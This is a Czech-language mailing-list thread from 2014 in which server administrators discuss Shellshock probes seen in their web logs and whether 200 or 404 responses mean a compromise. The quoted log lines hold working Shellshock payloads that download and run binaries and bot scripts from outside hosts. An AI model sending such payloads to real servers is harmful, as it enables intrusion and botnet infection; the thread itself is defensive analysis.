[vpsFree.cz: community-list] Útoky na bash běží
Petr Sykora
petr.sykora at gmail.com
Mon Sep 29 11:58:42 CEST 2014
Jinak ono zakernost tedle chyby je to, ze se ten bash nemusi pouzivat
naprimo, ale staci, aby se z procesu, ktery ma nejakym zpusobem
zmanipulovane env pustil system('cokoliv'), a to klidne i na urovni
nejake ceckove knihovny, u ktere si to clovek "zvenku" neuvedomi.
U cisteho CGI je jednoducha cesta, jak zmanipulovat env, jelikoz se
ruzne parametry o requestu predavaji prave v env, konkretne uplne
nejjednodussi je asi user agent, kterej se typicky predava v
$HTTP_USER_AGENT.
Vyhodou FastCGI a podobnych je to, ze amanipulovat env neni tak
jednoduche, jelikoz info o jednotlivych requestech se predava jinak,
konkretne u FastCGI socketem.
Takze opravdu v zasade ani 200, ani 404 nemusi nic znamenat :(
Zdar, Petr
On 9/29/14, Ján Raška <raskaj at gmail.com> wrote:
> Osobne si myslim ze 200 odpovede nemusia nic znamenat. Ked si vsimnes, 404
> to vratilo pri /test a /cgi-bin/test.sh co su URL ktore ocividne nemas, ale
> / ocividne mas :) a tam to vratilo 200.
>
> Ono aj ked mas zranitelny bash, stale sa nic nemuselo stat, problem je
> hlavne ak web bezi cez CGI, a co som sa o tom bavil so sysadminom jedneho
> zakaznika, tak pri FastCGI (bezne riesenie pri PHP pod nginx) SCGI a pod.
> vraj treba aby bash bol pouzity ako CGI jazyk, lebo FastCGI a pod.
> nepouzivju premenne prostredia na posuvanie informacii skriptu. A uprimne
> povedane, nepoznam vela webov ktore dnes bezia cez klasicke CGI, a pouzit
> bash ako skriptovaci jazyk pre FastCGI mi teda ako dobry napad nepride :)
>
> Anyways, 200 znamena, ze tvoj webserver uspesne spracoval request, a pokial
> zrovna nepouzivas CGI, tak mas viac menej Ty kontrolu nad tym ci je mozne
> obsah tych params spustit v shelli alebo nie :)
>
>> On 29 Sep 2014, at 10:37, Jan B. Kolář <janbivoj.kolar at zazen-nudu.cz>
>> wrote:
>>
>> Díky za odpovědi,
>>
>> ano, to jsem si myslel. Mě právě zarazilo, že v logu mám nějaké odpovědi
>> 200:
>>
>> 70.42.149.67 - - [28/Sep/2014:08:16:30 +0200] "GET /test HTTP/1.0" 404 168
>> "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z
>> 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf
>> /var/tmp/ec.z*\x22"
>>
>> 70.42.149.67 - - [28/Sep/2014:08:16:30 +0200] "GET /cgi-bin/test.sh
>> HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z
>> 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf
>> /var/tmp/ec.z*\x22"
>>
>> 70.42.149.67 - - [28/Sep/2014:08:16:31 +0200] "GET / HTTP/1.0" 200 3296
>> "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z
>> 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf
>> /var/tmp/ec.z*\x22"
>>
>> 212.51.60.58 - - [29/Sep/2014:00:30:18 +0200] "GET / HTTP/1.0" 200 3296
>> "-" "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot
>> -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh
>> /tmp/sh;rm -rf /tmp/sh\x22"
>>
>> A to přesto, že jsem bash aktualizoval už 24. a 26.9. (mám aktuální verzi
>> Debianu). Viz výpis "less /var/log/apt/history.log":
>>
>> Start-Date: 2014-09-24 16:38:28
>> Upgrade: bash:amd64 (4.2+dfsg-0.1, 4.2+dfsg-0.1+deb7u1)
>> End-Date: 2014-09-24 16:38:34
>>
>> Start-Date: 2014-09-26 08:39:57
>> Install: php5-cli:amd64 (5.4.33-1~dotdeb.1)
>> End-Date: 2014-09-26 08:40:18
>>
>> Start-Date: 2014-09-26 15:10:51
>> Upgrade: bash:amd64 (4.2+dfsg-0.1+deb7u1, 4.2+dfsg-0.1+deb7u3)
>> End-Date: 2014-09-26 15:11:23
>>
>> Poradíte, co teď dál?
>>
>> Honza
>>
>> On 29.9.2014 10:12, Petr Krcmar wrote:
>>> Dne 29.9.2014 v 10:08 "Jan B. Kolář" napsal(a):
>>>> možná hloupá otázka - dá se nějak z logu zjistit, zda ten průnik byl
>>>> úspěšný či nikoliv?
>>> Dá se zjistit, jestli útočník tipnul správný soubor. Pokud tam vidíš
>>> 404, tak se určitě nikam nedostal a neexistuje skript, který měl možnost
>>> ten podvržený kód zpracovat. Pokud ovšem v logu vidíš 200, pak útočník
>>> kód dostal k serveru, dostal výstup, ale už nevíš, co se dělo dál.
>>> Jestli byl útok úspěšný tam nevyčteš.
>>>
>>
>> _______________________________________________
>> Community-list mailing list
>> Community-list at lists.vpsfree.cz
>> http://lists.vpsfree.cz/listinfo/community-list
>
> _______________________________________________
> Community-list mailing list
> Community-list at lists.vpsfree.cz
> http://lists.vpsfree.cz/listinfo/community-list
>
More information about the Community-list
mailing list